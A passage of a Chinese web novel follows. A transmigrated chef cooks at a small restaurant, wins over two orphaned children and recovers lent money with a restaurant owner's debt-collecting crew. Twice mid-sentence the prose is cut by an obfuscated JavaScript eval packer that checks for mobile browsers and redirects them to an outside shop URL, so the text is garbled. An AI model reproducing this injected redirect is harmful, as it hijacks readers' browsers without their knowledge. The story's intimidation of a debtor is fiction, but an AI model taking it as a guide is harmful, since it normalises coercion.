进了小区，戴橙终于暴发：“青青！” 戴青噘着嘴站着。 戴橙：“你怎么不听姐姐的话呢？我不是跟你说过，无事献殷勤，非奸即盗。” 戴青着实体会到了一把吃人的嘴软，这时候他不好意思说戴千恩了。 戴橙看他可怜兮兮的样子，没再输出：“下次不允许了，知道了没？” 戴青用力地点了点头。 戴橙叹了口气，把戴青拽进了电梯，电梯里还有一对儿母子，狭小的空间里，隐隐味道一股食物的香味。 小男孩约莫才两岁，鼻尖正好对着戴青手里拿着的饭盒，闻得最清楚。 小男孩指着戴青手中的饭盒：“妈妈，这里好香啊。” 戴青护着饭盒，回头瞪小朋友：“你别碰。” 凶巴巴的样子，吓得小孩赶紧收回手。 “宝贝，不可以随便碰别人的东西，”小孩子的妈妈赶紧跟戴青道歉：“不好意思。” 戴橙刚才只顾着生气了，这才注意到戴青手里还有一个饭盒。 到了家里，戴青把饭盒递给了戴橙。 戴橙：“这是什么？” 戴青：“戴千恩担心你不去，给你留的。” 戴橙想到刚才还没吃过瘾的饭菜香，忍不住吞口水。 但嘴硬：“我不吃。” 戴青眼睛顿时亮了：“姐姐你不吃吗？那我能吃吗？” 戴橙很无语，一把接过饭盒：“你都吃了多少了，再吃撑坏肚子了，给我吧。” 戴青惊恐：“姐姐你要倒掉吗？” 戴橙：“不能浪费粮食，我吃，你看电视吧。” 戴青吞口水：“姐姐，要是你吃不完，可以叫我一起吃。” 戴橙：“……” 戴橙端着饭盒进了厨房，打开一看，除了清蒸鱼没法单独给她留出一块，大虾和排骨一样不少，还多了个煎荷包蛋，荷包蛋上还有海苔碎。 饭还温热，香气弥漫。 戴橙默了默，开始吃饭。 吃到最后，戴橙有点懊恼，也有点想哭，懊恼自己刚才对戴青太过严厉了。 父母去世后的这两年里，他们根本没有好好吃过一顿正餐热饭，连过年都没有。 戴青只是肚子饿了，想好好吃饭而已。 戴橙向上抬眼，硬生生把眼泪憋了回去，她倒是要看，戴千恩能装到什么时候。 过了一个礼拜，戴千恩还在装，每天晚饭食材都不重样，做得还很用心，色香味俱全。 戴青每天都吃得饱饱的，她照例每天都有饭盒，她憋不住了。 戴青吃饱了饭，再也不会十点钟爬起来吃泡面，作息也规律了，八点就困了，戴橙让他先上床睡觉，她要等戴千恩回来问个清楚。 而戴千恩此时正在店里教苏云禾包馄饨。 戴千恩吃过一次苏云禾包的馄饨，肉馅太柴，个儿也不饱满，有些褶皱的地方皮很厚，挑剔如他怎么看得下去，只好亲自下手示范怎么调馅料、怎么包馄饨。 这段时间苏云禾和苏妈妈已经被戴千恩的厨艺深深折服，做了一辈子饭的苏妈妈也有模有样地跟着学。 同样一张馄饨皮，戴千恩包出来的就要圆润饱满，她们毕竟是干餐饮的，对做饭也有点天赋，没一会儿就学到了个八九成。 包完了馄饨，苏云禾下了些，盛了三碗，让戴千恩吃完再回家。 一颗颗圆滚滚的馄饨飘在碗里，即使是清汤做底，热腾腾的，也看着很有食欲。 舀起一颗放嘴里，尖牙咬破薄薄的皮，咸鲜的汁水顿时冒出充满口腔，肉馅饱满嫩滑，齿间全是清香。 苏云禾和苏妈妈闭嘴咀嚼说不了话，瞪大眼睛不停点头，朝戴千恩比大拇指。 一颗馄饨吞下，苏云禾说：“小戴，你在美食这一块的天赋太高了，服了服了，简直是老天爷追着喂饭，你将来肯定有大成就。” 戴千恩：“那就借苏姐吉言。” 苏妈妈则没有那么多花里胡哨的形容词，只是说：“比城南李老头家的馄饨铺还好吃，他们家都开了二十几年了。” 戴千恩吃完，苏云禾还装了一袋子让他带回家给两个小孩当早饭。 戴千恩回到家已经八点半，戴橙黑着一张脸坐在客厅里，戴千恩一进门，戴橙问他：“坦白吧，你是不是把我爸妈的钱花光了，仅存的一点良知让你幡然醒悟，给我们家打工还钱。” 戴千恩可以用真诚搞定刁蛮的客户，也能用实力征服挑剔的霸总，但和戴橙这种青春期叛逆少女沟通实在没有经验。 刚才他在店里也和苏云禾聊了一会儿，苏云禾说他可找对人了，因为自己之前就跟戴橙一样是个中二社会姐。 苏云禾给他支了三招。 第一招：说真话。 第二招：对她好。 第三招：哄她。 小孩嘛，不就是要哄着。 苏云禾还说，如果不会，那就成为你小时候想要的那个大人就可以。 戴千恩活学活用，走到她对面坐下来，和她隔着一个茶几面对面，平静地看着她。 戴千恩：“钱没花完。” 戴橙嗤了一声：“我不信。” 戴千恩：“但确实不多了，这两年浪费了很多。” 戴橙捏着今天刚买的最新款手机反驳：“你花得少吗？你花最多。” 戴千恩：“这段时间在我身上发生了无法向你解释的事情，也是这些事情让我决定换一种活法。” 戴橙仍很不屑：“是天下红雨了，还是太阳打西边出来了？” 戴千恩笑笑，转移了话题：“明天周末能跟我一起大扫除吗？把家里仔细打扫一遍。” 戴橙没了沟通的耐心，但着实是吃人的嘴软，她把那一桶保温盒饭全吃完，也不好意思说重话。 戴千恩：“我现在有点累，能去休息一下吗？” 戴橙没说话，从沙发上站了起来，回到房间砰地一声关上门。 戴千恩洗完澡，躺在床上开始盘算原主的烂账，不算不知道，一算吓一跳，果然有借出去的钱，总共40万，16万是乡下的亲戚以之前带过戴青和戴橙半年要走的，剩下的是一个自称是游戏教练的人借走的。 剩下钱花在了无节制的花费上，光戴青的电话手表就有6个，戴橙的手机型号比店里还全。 看着这些账单，戴千恩倒吸一口凉气，要再这么挥霍下去，年底他们该去讨饭了。 戴千恩正想联系那个游戏教练要钱，房产中介打来 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他把收款界面给戴橙看，包括硬件、游戏卡和装备，回收了将近25万。 戴橙这回终于不是拽姐的表情，瞪圆了眼睛，不可思议地看向戴千恩。 这些东西都是戴千恩的命，他怎么舍得卖掉呢，有必要装成这个样子吗？ 戴千恩说：“戴青还小不懂事，你大一些，我跟你说下还剩多少钱，我们房贷还有80万，存款还有55万，加上这个25万，现在存款有八十万，正好和房贷一样，外账还有40万，就这么多。” 面对戴千恩突如其来的坦白，戴橙抿了抿嘴唇。 戴千恩：“从今天以后，我不会再花这些钱，都留给你和戴青，以后你们长大了要上大学。” 戴橙从来没想过上大学，她只想着初中毕业出来打工挣钱养戴青，把戴千恩从这个家里赶走。 她应该相信戴千恩吗？爸妈刚离世的时候他为了钱争取他们的抚养权时，他也那么真诚。 戴千恩：“我有个提议，你和戴青之前买的东西，留下一些喜欢的，剩下用不着的可以回收，把钱换回来。” 戴橙刚想反驳凭什么，但戴千恩已经把自己的全部家当卖掉了，到了嘴边的话吞了回去。 戴千恩：“我们其实可以尝试换一种方式生活，你觉得呢。” 戴橙垂着眼眸不说话，半天才嗤了声，转身回屋。 戴千恩：“半个小时后起来吃早饭，早上吃小馄饨和煎蛋，一会儿跟我一起大扫除。” 戴橙没理会他，砰地一声关上了门。 戴千恩：“一会儿煎荷包蛋，你们吃全熟的还是糖心的？” 没人回应。 戴千恩故意唱反调：“那我煎全熟了，煎老一点。” 从房间里传来拧巴少女冷淡的回话：“半糖心！” 戴千恩笑了笑，走进厨房开始下馄饨煎鸡蛋，还热了每天现定的鲜牛奶。 戴青是被香醒的，光着脚丫迷迷糊糊半眯着眼就往厨房跑。 戴千恩：“今天吃馄饨和煎鸡蛋，快去洗刷吃饭了。” 等戴千恩把早饭端出来时，姐弟俩已经在餐桌面前坐好。 戴青看着一颗颗圆溜溜的馄饨，食欲大增，开始吃饭，烫得嘴巴斯哈斯哈哈着气，也不妨碍他一颗接着一颗往嘴里送。 戴千恩：“戴青，吃完饭了把牛奶喝掉。” 戴青头埋在碗里，因为咀嚼脑袋一晃一晃的，也不知道是不是点头了。 戴橙问：“又是老板娘包的馄饨吧？” 戴千恩挑了下眉，挺意外，戴橙居然心平气和跟他说话：“嗯。” 戴橙：“她包的馄饨没城南老李家的馄饨好吃。” 戴千恩没说话，吃自己的早饭。 戴橙舀了一颗放在嘴里，舀了一口，顿了顿。 戴千恩：“和城南老李馄饨铺比呢？” 拧巴少女不搭理，一味低头干饭，连汤带渣吃了个精光，不再提城南老李馄饨铺。 8. 第 8 章 吃完了早饭，戴青收拾碗筷，戴橙洗碗，戴千恩带上口罩和手套正准备打扫卫生，门外响起了敲门声。 打开一看是两个提着清扫工具的家政人员。 戴千恩：“不好意思，我没有叫家政服务。” 戴橙：“我叫的。” 戴千恩回头看了眼戴橙。 戴橙揉了下鼻尖，没好气道：“我嫌累，不想扫，你不嫌累你就让人回去，自己扫吧。” 其实戴千恩也嫌累，但他现在还没挣钱，他身上这些钱系着两条沉重的生命，他不想花这些钱。 戴千恩想到了苏云禾教他的第三招：哄她。 戴千恩笑道：“原来是我们家小公主叫的家政，那进来吧。” 差点被退档的家政立刻接话：“你家姑娘是懂事，生怕你累着了，这份心难得。” 戴千恩：“是的，给了我个惊喜，不然我今天要辛苦扫一天。” 戴橙翻了个白眼，嘀咕了句“肉麻”就回了卧室。 有了家政打扫，戴千恩也能偷个闲，顺便看看之前还浪费钱买了什么闲置东西能挂二手平台换钱。 家政人员麻利又专业，两个多小时的功夫就把家里里里外外打扫得干干净净。 戴千恩不习惯别人动他的房间自己打扫，戴橙说他这是没苦硬吃。 家里焕然一新，空气中还有淡淡的清洁剂味道，一度灰扑扑的釉面瓷砖泛着光，像尘封压抑的生活终于裂了道口子，光透进来，正逐渐恢复它原本的样子。 离上班还有点时间，戴千恩看了眼空空荡荡的厨房，想着去超市买点米面粮油，有时间也在家里做做饭，总不能每天都去苏云禾店里蹭饭。 戴千恩简单收拾了下出门，他在超市里遇到了戴青的班主任和那个女老师。 女老师见到他，皱了下眉就别开眼，一脸嫌弃，戴千恩本想上去打招呼维护一下家长和班主任的关系，看到人家那么嫌弃便做罢。 戴千恩朝宋老师点了下头，就往粮油区逛，找到了五常大米。 五常大米只剩下最后一袋了，他刚想把米搬到自己的购物车里，就听到导购员的声音：“五常大米在那边，就是那个粉头发小伙子站着的地方。” 戴千恩提着五常大米往购物车里一放，才反应过来，导购员说的粉头发小伙子是他自己。 戴千恩下意识抓了把头发，头发居然掉了一根。 他看着掌心的发丝，这明明是火龙果红，不是粉，这个大姐对颜色不敏感，当厨师的话可能对菜的配色有点欠缺。 他抬头，怔了下，导购员身边站着正是宋四元和女老师。 宋老师眼神淡然看着他，而女老师表情管理要差一点，又情不自禁皱了皱眉。 女老师嫌弃地看了他一眼之后，扯了扯宋老师的衣服，“算了，先去买别的吧。” 宋老师看了眼时腕表，推车过来，“不绕了，直接买吧。” 女老师也只好跟上。 戴千恩切换监护人模式，说了句废话：“宋老师，来逛超市啊。” 宋老师虽然目光冷淡，但还是礼貌地朝他点了下头：“戴青同学家长。” 戴千恩把五常大米从自己的购物车里往他们的购物车里一放：“只剩一包了，给你们。” 非常懂人情世故。 女老师连忙摆手：“不用不用，我们买其他的也行。” “不用客气，这种稻真香也挺好吃的。”戴千恩说着，随手拿起隔壁一包稻真香往购物车里放。 招呼打完了，米也让了，就不应该继续打扰他们，戴千恩很识趣告别：“我买完了，我先去结账，二位老师慢慢逛。” 戴千恩转过身，收起脸上的笑。 社交好累，监护人真的不好当。 真字原来有三横。 还是炒菜好，锅碗瓢盆瓜果蔬菜不会说话，都他说了算。 古有孔融让梨，现有千恩让米。 这下好感值应该刷上来一些了吧。 卑微的小学生监护人狠狠拿捏了人情世故。 宋思源看着那颗火红的后脑勺，隐隐听到他慢吞吞的嘀咕：“原来真字里面是三横。” 宋思源：“……” 和宋思源一起逛超市的女老师叫丁可心。 丁可心和宋思源是在找工作面试的时候认识的，她是边江市人，但在S市上大学，在父母的强烈要求下，读的免费定向师范，毕业了要回家乡任教。 宋思源正好是S市人。 丁可心不明白，宋思源出生在国际大都市，为什么会来到这种小地方来教书。 宋思源的一举一动，都能看出来他家境优渥，不会在S市站不住脚，他手上的那个腕表牌子很小众，但她认识，她100年不吃不喝都买不起。 丁可心旁敲侧击半开玩笑问过他几次关于他的家庭背景，他总是不着痕迹地转移了话题。 宋思源初来乍到，丁可心帮了不少忙，一来二往，两人就成了朋友。 见过了S市的繁华，丁可心想违约留在S市，但家里人不同意，只好在这座小城安心教书。 丁可心本来是教小学生，但她觉得现在的小学生不好教，家长也难缠，就毅然决然离职，选择了职高。 没想到入职第一天，她就要去派出所捞人。 等戴千恩走远了，丁可心小声说：“他不是派出所里和我学生打架那个社会青年吗？” 宋思源：“他是我学生家长。” 当过小学教师的丁可心两眼一黑：“啊？那他的孩子是不是也挺难管教的？你每天一定很操心吧。” 宋思源没回答她的话，问她：“还有什么需要买的吗？” 丁可心：“没有了，走吧。” 宋思源气质矜贵，模样帅气，还有点神秘，自然很吸引人，但他自成疏离的气场，那种天生的骄傲将所有人都远远地排除在外。 丁可心：“既然今天在超市碰到了，我中午请你吃个饭吧，当做感谢你。” 宋思源：“别客气，不用，今天中午我有事。” 不出丁可心的意料，宋思源再一次拒绝了她。 丁可心模样不差，从小城市考到大城市的985，多少有点自尊心和傲气，面对宋思源的冷淡，多少有点挫败。 但她预感，宋思源不会一直呆在这个地方，她也不会永远呆在这儿，而宋思源是能拉她一把的那个人。 * 戴千恩刚回到家，苏云禾给他打电话，说买了只新鲜的母鸡，中午给孩子做黄焖鸡，需要买什么配菜和调料。 这段时间苏云禾观察戴千恩做饭，他从不用那种现成的调料包做饭，都是自己配的料。 戴千恩列了个单子给她发了过去，敲了敲戴橙紧闭的门：“我去店里了，中午带戴青到店里吃午饭。” 戴青听到吃，从房间里探头：“今天中午吃什么？” 戴千恩：“黄焖鸡，你还有什么想吃的？” 戴青：“黄焖鸡就够了。” 经过这段时间的相处，戴青慢慢会跟他有些交流，戴千恩觉得这是件好事。 苏云禾的饭馆生意越来越好，往常要到十一点半才陆陆续续有客人，现在十点半就有人来了，一直爆满到快两点，8张四人桌挤得满满当当。 但无论如何，到了孩子的饭点，最靠里的那张1号桌永远给3个孩子留着。 外卖单子也越来越多。 为了减少戴千恩的负担，苏云禾下架了客人不常点的和制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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酱色的汁水没过鸡肉，大火炖煮，不一会儿就咕噜咕噜冒着泡。 戴千恩把鸡肉转移到砂锅中，放入滚刀切的土豆快和香菇，盖上盖子，让香味在砂锅中和肉香慢慢循环。 锅空了出来，戴千恩开始做客人的饭菜。 人越来越多，戴千恩越来越忙，客人走了一桌，有来了一桌，黄焖鸡在文火慢熬中也渐渐散发浓郁肉香。 午饭时间到，最靠里的1号桌已经清了出来，刚进店的客人被安排到了外面，小敏帮着外婆准备碗筷，戴青和戴橙也到了店里。 这三个小孩是食客最羡慕的对象，一般店里都会让自己的孩子到别的地方吃，而这三个小孩永远有位置，而且永远吃得最好。 同时，让老板娘开菜单让点菜的声音此起彼伏。 他们已经不满足于炒饭、炒面和带有浇头的汤面了。 苏妈妈在桌上铺好隔热垫，回去到厨房打开砂锅。 “哎哟，香迷糊了，香迷糊了，这肉好吃，一夹就脱骨了，这些小馋猫们可有口福咯。” 她一边说，一边用大碗打了一碗饭，再舀起好几勺鸡肉，再放上一个鸡小腿，拿好筷子，放在戴千恩手边。 她说：“炒完这单你也先吃点。” 戴千恩说：“没事，让孩子先吃吧。” 苏妈妈笑着说：“你也还是个孩子呢，多吃点啊。” 戴千恩看着这碗冒着热气的饭菜，心头一暖。 奶奶去世之后，再也没有人说他是个孩子了。 9. 第 9 章 苏云禾发现，最近边江小学的老师午餐点他家外卖的人数多了起来。 看到是老师点的单子，苏云禾总会多送点东西，干子、卤蛋之类的，如果看到定外卖的人姓谢，她还会多加个卤鸡腿或者大肉。小敏的班主任就姓谢，边江小学姓谢的老师不过两三个。 此时，办公室里的谢老师在打开外卖盒，里面果不其然又多东西了，这次是块大肉。 她实在不想吃食堂的饭菜，无意中点了份外卖，竟意外觉得好吃。 她连吃几天炒面外卖，把办公室的人都香迷糊了，就跟着她一起订。 后来有天路过这家饭馆，才知道是自己的学生家长开的店，怪不得总给她多送东西，搞得她怪不好意思的。 奈何真的太过好吃，她只能继续点，备注不需要多送小菜，但老板孜孜不倦。 炒面的味道就这样一传十十传百，几乎每个办公室里的老师都点过云禾小饭馆的外卖，包括二年级老师办公室。 二年级有个实习老师叫苏圆圆，大学的时候是个美食探店博主，吃过饭后真的去探店，发现小饭馆干净卫生，掌勺的厨师还特别帅。 他们每天中午都点外卖，只有宋思源雷打不动去食堂吃饭，从不加入外卖大军。 这天他们又开始点外卖了，平台发券，满80减30，办公室总共六个人，五个人拼拼凑凑怎么也凑不到80，毕竟一碗炒面也才12块钱。 而且老板给的分量很足，还送小菜，为了拼劵多点一份吃不完又浪费。 于是五个人把目光瞄准宋思源。 苏圆圆：“宋老师，今天点云禾小饭馆吗？有劵哦。” 还没等宋思源拒绝，她又说：“有个劵可以领，尝一尝，据说是六年级的学生家长开的店，味道还不错呢，我下单了。” 盛情难却，宋思源只好应了下来。 下单后外卖四十分钟后送到，宋思源的办公桌上也放着一碗炒面。 宋思源打开包装，炒面的味道铺面而来，没有想象中的油腻，而是碳水经过高温烹饪之后的香。 肉丝均匀，鸡蛋没有结成一大块，而是像丝一样裹着面条，鸡毛菜绿油油的，连火腿都切成了大小均匀的菱形。 卖相看着竟还不错，若从塑料盒子里倒出来，放到釉面瓷盘里，也勉强能登大雅之堂。 他拆开一次性筷子，夹了口面条放嘴里嚼了嚼。 吃了第一口就有第二口，吃了第二口就还有下一口。 宋思源对吃的不怎么讲究，但一旦讲究就格外挑剔，这份外卖他本来打算只吃一半的。 但就这么一口一口吃下去，很快外卖盒见了底，只剩下几颗没有办法用一次性筷子夹起来的葱花和贴在外卖盒上的鸡毛菜叶。 宋思源：“……” 苏圆圆问他：“宋老师，这家炒面不错吧。” 宋思源擦了擦嘴，收拾好已经见底的外卖盒：“还行。” 苏圆圆：“这个厨子确实厉害，连宋老师都沦陷了。” 宋思源：“……” 宋思源看了眼联单，记下了小饭馆的名字，在心里默默把它列入了“实在不知道吃什么就吃这个也行”的清单里。 从今往后，二年级老师办公室的老师点云禾小饭馆的外卖也相当和谐，不用东拼西凑，一点就是六单，优惠券多，便宜又好吃，性价比太高。 教职工食堂年轻老师去得越来越少，后勤经理都急眼了，他去校长办公室反应，却发现校长也在吃外卖。 也是云禾小饭馆。 得，不用反应了，如果再不加强菜品口感，明年食堂竞标估计得流标。 而小敏放学回家，就兴冲冲地跟妈妈炫耀：“你看，妈妈，谢老师送给我的笔。” 苏云禾高兴得不行，便问道：“你表现得好，老师奖励你的？” 小敏：“是妈妈表现得好。” 苏云禾一头雾水：“我怎么表现得好了？” 小敏：“谢老师说了，她感谢妈妈总是给她加小菜，但她吃不完总是浪费，不要妈妈破费了。” 苏云禾已读不回，照样给谢老师加小菜。 * 转眼戴千恩在云禾小饭馆已经干了一个月。 苏云禾决定在月末最后一天六点就打烊，一家人需要好好吃个饭，还要给戴千恩发工资。 苏云禾这几年经历了前夫背叛、离婚、争抚养权、创业失败等等打击，终于遇到了戴千恩。 戴千恩简直是个宝藏，这个月小饭馆的营业额翻了三倍，店面是苏云禾自己的，不需要房租，所以净利润四万多块钱，苏云禾打算给戴千恩2万块，苏妈妈欣然同意了。 苏云禾问：“我一开始要跟他分成，你不是不愿意吗？” 苏妈妈笑着说：“我这岁数了，还看不明白这钱怎么挣的吗，咱们仨之前最多一万多块钱，这段时间小戴都没主动跟我们提前过钱的事，人家讲情分，我们不能不讲道理。” 苏云禾：“还是妈妈明道理。” 苏妈妈：“但小戴估计不会一直在咱们小店里吧，到时候咱们可怎么办呢。” 苏云禾特地去取了现金，包了个贼大的红包，打烊的时候再给戴千恩。 她还买了不少的食材，打算做一顿大餐，让大人和孩子都补补身子。 这个月来戴千恩活动量大，吃得多，睡得香，人虽然累点，但精神好了许多。 三个孩子也吃得脸蛋圆圆的，尤其是戴青，虽然还是很瘦，但整个人拔高了不少，脸上有了点肉。 苏云禾这次买了大骨头、黑鱼、牛肉和半只鸡，戴千恩看了眼食材，决定做个酱大骨、柠檬酸汤鱼、爆炒牛肉，口水鸡，加上店里剩的白菜和丝瓜，再炒个蒜泥白菜和丝瓜汤就好。 为了减少戴千恩的工作量，苏云禾和苏妈妈备菜洗菜，等着戴千恩开火炒菜。 除了酱大骨和猪肚鸡要费点时间，其他菜没有难度，加上店里火候旺，备好菜后，戴千恩可以一个小时搞定。 戴千恩先做酱大骨。 几个大棒骨很新鲜，棒骨里带着骨髓连着肉，酱好了那就是十里飘香。 骨头苏妈妈已经焯水洗净，戴千恩炒好糖色后直接把棒骨放进去翻炒。 苏妈妈一直在旁边站着，戴千恩说：“阿姨，您出去歇一会儿，这儿我来就行。” 苏妈妈：“没事儿，我喜欢看你炒菜，也能给你搭把手。” 戴千恩也由着她，一开始，苏妈妈是抱着偷学的心态看戴千恩做菜，但看久了之后才明白，戴千恩做菜没有秘诀，没有法宝贝步骤和普通人一模一样，就是做出来味道比别人好，颜色也比别人好看。 没有技巧，全是天赋。 等苏妈妈回过神，戴千恩已经裹好了糖色，开始加水。 苏妈妈：“你这糖色怎么熬的，也太好看了，有什么法宝。” 戴千恩：“没有法宝，多炒炒就会了。” 要是别人说这话苏妈妈会觉得他藏着掖着不愿说，戴千恩说这话她信。 戴千恩开大火，棒骨在冒着泡的酱色汁水里煮着，香味袭人的时候他关小火，盖上盖子焖煮。 苏云禾去买黑鱼的时候戴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760654|190136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 千恩说买活的，回来自己杀，鱼店老板干活糙，片肉会留刺。 戴千恩不仅炒菜炒得好，刀工也不赖，几分钟的功夫，一条活蹦乱跳的黑鱼在他手下便骨肉分离，厚薄均匀的鱼片晶莹剔透。 酸汤柠檬鱼的汤底就用鱼骨现熬，颇有原汤化原食的感觉。 一桌饭菜全都做好了，1号桌坐不下那么多人，苏云禾把两张桌子拼在一起，菜一上桌，两个孩子已经望眼欲穿了，拿起筷子迫不及待。 苏云禾：“等等，吃饭之前我还有事宣布。” 小敏抱怨：“妈，你怎么跟我们校长一样，总是在关键的时候爱讲两句。” 苏云禾：“我要给你小戴叔叔发奖金，你们说要不要？” 小敏第一个鼓掌，戴青和戴橙拧巴别扭，也默默放下了筷子。 苏云禾清了清嗓子说：“这个月我们店净赚4万元，给小戴发2万元，给妈妈发一万元，我留一万元。” 小孩对钱没概念，只觉得两家平分好公平。 气氛到了，戴千恩欣然接受，小孩子已经等不及了，开始吃饭。 口水鸡麻辣开胃，红橙橙的油辣子刺激味蕾，一吃就停不下来，柠檬鱼片酸辣爽滑，入口即化，最好吃的莫过那盆大酱骨。 肉已经炖的软烂，筷子轻轻一别，骨肉分离那一刻，酱色汁水顺着骨肉之间的缝隙留下来，咬一口，便是满口咸鲜，肉已经吸饱了酱汁，瘦而不柴，再嗦上一口肥而不腻的骨髓，多重味蕾享受，已经鲜麻了天灵盖。 一顿饭吃完，盘子里只剩下啃光的棒骨和柠檬片。 虽然上辈子他没拿过这么低的工资，但戴千恩还是觉得苏云禾给多了。 戴千恩：“苏姐，我两个孩子在你这儿吃饭呢，你不用给我这么多。” 苏云禾：“你没来的时候我就赚这么多，我只拿我该拿的那份，剩下的都是你的功劳。” 戴千恩明白了。 以苏云禾的智慧，她的能力绝对不会止步于这家小小的饭馆，但她目前并没有扩张的野心，只想守着这一亩三分地，所以她拒绝客人说的上菜单，店里客人无论多爆满，都会空出一张桌子给孩子吃饭。 她或许经历过一些事，让她知足常乐，重心是她的女儿。 戴千恩：“行，那我就不客气了。” 苏云禾悄咪咪支招：“给自己也给孩子买点礼物。” 戴千恩听进去了，但他不知道要买什么，戴青和戴橙的性格虽然有点变化，可还是孤僻的，对人的提防心很重。 现在也不是给他们买礼物的时候。 苏云禾叫他不要着急，慢慢来，孩子不是一天就变孤僻，自然也不会一天就变好。 戴千恩不需要什么礼物，他想攒点钱往后自己开个店，钱是两个孩子的，他不能厚着脸皮花他们的钱。 原来的厨师伺候完媳妇坐月子就要回来上班了，他在这里干也不是长久之计，小城市拔个萝卜都拖着泥，就业的机会并不多，每个人有自己的生存法则，他也不想让苏云禾为难。 戴千恩：“苏姐，我有件事情想请你帮个忙。” 苏云禾：“跟我还客气呢，你说。” 戴千恩：“我有两笔钱借出去了，要不回来，电话也打不通。” 苏云禾一听，拍了下他的肩膀，嘿嘿一笑：“你这可就找对人了，改天闭店，专门帮你讨债去，这事儿我有经验。” 戴千恩也乐了：“闭店？不用，找个时间去就好了。” 苏云禾：“你不知道了吧，讨债是个技术活，也是个体力活，你听我的就是了。” 10. 第 10 章 没过多久，苏云禾真的闭店一天帮戴千恩讨债。 他们先去讨那个自称游戏大神的人，那人叫李应，自称是职业战队的退役选手，要成立俱乐部，可缺少启动资金，等成立了第一时间签约戴千恩他们。 戴千恩连他住在哪里都不知道，看了眼人家的身份证就把钱借给他了。 戴千恩说出这个理由的时候都想笑，原主相信这么离谱的谎话。 戴千恩已经打不通他的电话，但苏云禾一打就通了，戴千恩才知道自己是被拉黑了。 苏云禾打了一次，对方给挂了，苏云禾也不恼，继续打电话，终于对方很不耐烦地接起来了：“你他妈谁啊？” 一大早声音还伴着睡意，网瘾青年这时候还在做春秋大梦。 苏云禾：“李应，你在我们平台借的钱再不还，我就……” 苏云禾还没说完，那边已经挂了电话。 苏云禾二话不说，又打了个电话：“黑子，帮姐一个忙，帮我查个人，叫李应。” 苏云禾挂了电话，看到戴千恩正盯着她看，苏云禾笑了下说：“以后有时间跟你解释。” 苏云禾不说，戴千恩没问，安静等着那边的回信。 很快，那边发过来一张李应举着身份证拍照的照片问：“姐，是这小子不？” 苏云禾让戴千恩看了眼，戴千恩点了点头，苏云禾：“对，就他。” “稍等啊，他住哪儿我给你发过去啊姐。” 很快苏云禾拿到了李应的地址，苏云禾又打了几个电话，没过一会儿，一辆七座金杯停在饭馆门口，八个壮汉下车，其中一个就是原来的厨子。 戴千恩终于知道了她一个弱女子，怎么能够争到女儿的抚养权。 苏云禾说：“这个李应欠我弟24万，还把我弟电话拉黑了，拜托大家。” 几个人又齐刷刷上了金杯。 戴千恩都傻眼了，他还真没见过这场面，苏云禾扔给他一个头盔：“走。” 老实孩子戴千恩不敢上这电动车，支支吾吾道：“苏姐，咱们这样合法的吧？” 苏云禾愣了下，接而哈哈大笑。 苏云禾知道，一个人的成长不是循序渐进的，而是受到了致命的打击突然间成长的，就比如她自己，就比如戴千恩。 戴千恩之前是个小混子，混子中二的时候多多少少有这种无间道的情节，他现在怎么怯怯的，跟没经历过一样呢。 苏云禾笑够了说：“放心吧，合法的，虽然边江市只有巴掌大，但也是有法律的。” 戴千恩信了。 苏云禾：“你就露个脸就行，一会儿一句话都别说，明白没。” 戴千恩又确认了一遍：“真的合法的吧？” 苏云禾没再跟他解释，骑着摩托车呼啸而去。 李应住的地方在十五公里开外的城乡结合部，电梯太小，几个人还得分两波上去。 戴千恩敲了好久的门，李应才打开门。 他揉着惺忪睡眼，懒洋洋道：“是千恩啊……” 话还没说完，干瘦的李应就被躲在一边的壮汉一左一右架起来往沙发上走，再一左一右地坐在他旁边，跟夹鹌鹑似的把他夹在中间。 其他人就坐在李应的对面。 狭小的出租屋里塞进这么多人，一个个那么大只，要是他们同时跺脚，估计楼板都要塌了。 李应瘆得慌，他没见过这场面，之前他确实是职业电竞选手，不过是替补，在大城市呆过几年，没出什么成绩，就被俱乐部辞了，回到老家带人连连游戏，顺便骗点钱还网贷而已。 李应也是个识趣的，硬是挤出一个笑容：“千恩，这是怎么了？搞这么大个阵势。” 苏云禾先声夺人：“他借我钱，没钱还，说你借他钱，我只能来找你还了。” 李应立刻否认：“我没有借他的钱啊，没有啊，哥，姐，你们是不是认错人了？” 苏云禾冷笑一声：“你把他当傻子，也把我们当傻子？” 李应：“那些钱是我教他们新战法，他们付的学费，不是我借的。” 苏云禾冷冷地看了李应一眼，起身在出租屋东摸摸细看看，倒是有点村寨女头目看家里有什么值钱东西的既视感。 李应要站起身，又被两个壮汉摁了下去。 苏云禾看够了，慢吞吞坐回去，往后座一靠，二郎腿翘起来，冷淡看着李应。 看到李应浑身发毛时，才冷不丁说出一句：“想好了没？还不还钱？” 坐在苏云禾身边的两个壮汉配合地摸了下腰间，连戴千恩都吓了一跳。 真的合法的吧？ 李应本来以为戴千恩跟他们是一伙儿的，看到戴千恩吓得脸色惨白，也放弃了挣扎。 真是讨债的。 李应：“我还，我还。” 24万分了6次转账，转回给戴千恩。 钱一到账，他们也不久留，齐刷刷起身走人，剩下李应在空荡荡的房间脏话连篇。 天杀的戴千恩！他哪来这么多三教九流的朋友，还一个比一个横！ 回到店里，戴千恩还是懵的，对于要账，他已经做好了打持久战的准备，没想到这么顺利。 这段时间他一直琢磨着怎么把这个烂账要回来呢，找苏云禾商量也只是希望听听她的建议，没想到她直接帮他把钱一分不少地要回来了。 苏云禾：“傻了？怎么懵了？” 戴千恩实话实说：“有点。” 苏云禾笑着解释：“以前我是开咨询公司的，主营业务是替人要账，你说你小子，是不是找对人了？” 戴千恩明白了，连连道谢：“谢谢苏姐，真的很感谢。” 